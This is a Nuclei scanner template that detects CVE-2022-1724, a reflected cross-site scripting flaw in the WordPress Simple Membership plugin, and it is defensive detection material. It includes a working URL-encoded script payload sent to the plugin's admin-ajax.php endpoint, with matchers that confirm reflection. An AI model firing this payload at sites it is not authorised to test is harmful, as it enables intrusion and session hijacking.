nuclei-templates/http/cves/2022/CVE-2022-1724.yaml

51 lines
2.0 KiB
YAML

id: CVE-2022-1724
info:
name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting
author: Akincibor
severity: medium
description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
- https://nvd.nist.gov/vuln/detail/CVE-2022-1724
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1724
cwe-id: CWE-79
epss-score: 0.00141
epss-percentile: 0.49645
cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: simple-membership-plugin
product: simple_membership
framework: wordpress
tags: xss,wp,wordpress,wpscan,cve,cve2022,wp-plugin,simple-membership-plugin
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"<script>alert(document.domain)</script>",'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100b8fb57210b10c79e5c1ee406174f430a3b0d553268c01227f300f82c155ba79b0221009a2dab86afe16ea5f28c7c5c7de0651a6a1ddc29cdcf285f3b7d9726b503cca9:922c64590222798bb761d5b6d8e72950